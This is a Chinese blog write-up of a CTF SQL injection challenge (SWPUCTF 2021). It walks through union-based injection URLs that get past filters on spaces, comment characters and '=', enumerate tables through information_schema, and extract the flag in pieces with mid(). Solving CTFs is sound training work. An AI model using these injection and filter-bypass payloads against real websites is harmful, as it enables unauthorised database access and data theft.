【无标题】

[SWPUCTF 2021 新生赛]sql的题解

首先进入环境,发现没有什么明显的注入地方,然后查看源码发现了注入的地方。
在这里插入图片描述
发现注入的地方后,就先试一下注入类型.

http://1.14.71.254:28419/?wllm=1

回显如图所示
在这里插入图片描述

http://1.14.71.254:28419/?wllm=1'

在这里插入图片描述
发现有报错显示。这时候可以尝试一下报错注入。先看看有多少个字段。在此过程中发现它过滤了空格,可以用/**/绕过。

http://1.14.71.254:28419/?wllm=1'/**/order/**/by/**/3#

发现还是在报错,逐步排查发现是注释符的问题,换成%23后就可以了。测试出有3个字段。 但是发现updatexml和extractvalue都被过滤掉了,然后就尝试联合注入,构造的payload如下:

http://1.14.71.254:28414/?wllm=1'/**/union/**/select/**/1,2,3%23

但是发现它回显任何一个数字,有点懵了。通过看别人的wp,发现是-1,改成-1后就可以了。至于为什么,文章后面会放出解释。

http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,2,3%23

在这里插入图片描述
可以看到2,3显示出来了。
查询库:

http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,database(),3%23

得到库名test_db.
查询表:
发现等号被过滤了,就用like代替,payload如下:

http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23

在这里插入图片描述
猜测LTLT_flag里面有flag,查询这个表的字段:

http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23

得到了id和flag,查询flag:

http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/LTLT_flag%23

但是发现只显示出来了一部分flag。

在这里插入图片描述

尝试了right发现被禁了,而mid()函数是可以用的,

http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,mid(group_concat(flag),1,20),3/**/from/**/LTLT_flag%23
http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,mid(group_concat(flag),21,20),3/**/from/**/LTLT_flag%23
http://1.14.71.254:28414/?wllm=-1'/**/union/**/select/**/1,mid(group_concat(flag),41,20),3/**/from/**/LTLT_flag%23

成功获取flag!

为什么是-1的解释

在解释为什么-1可以,而1不可以之前,先看看联合查询,如下图所示:
在这里插入图片描述

但是在网站上一般不会显示来自grade_two的id的查询结果,只会返回查询到的第一条数据。这种情况下,我们要怎么获得我们期望的数据呢?可以让联合查询左边的查询语句返回结果为空。就例如本题,将wllm赋值为-1,因为一般情况下是不会有负值的,从而导致查询结果为空。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值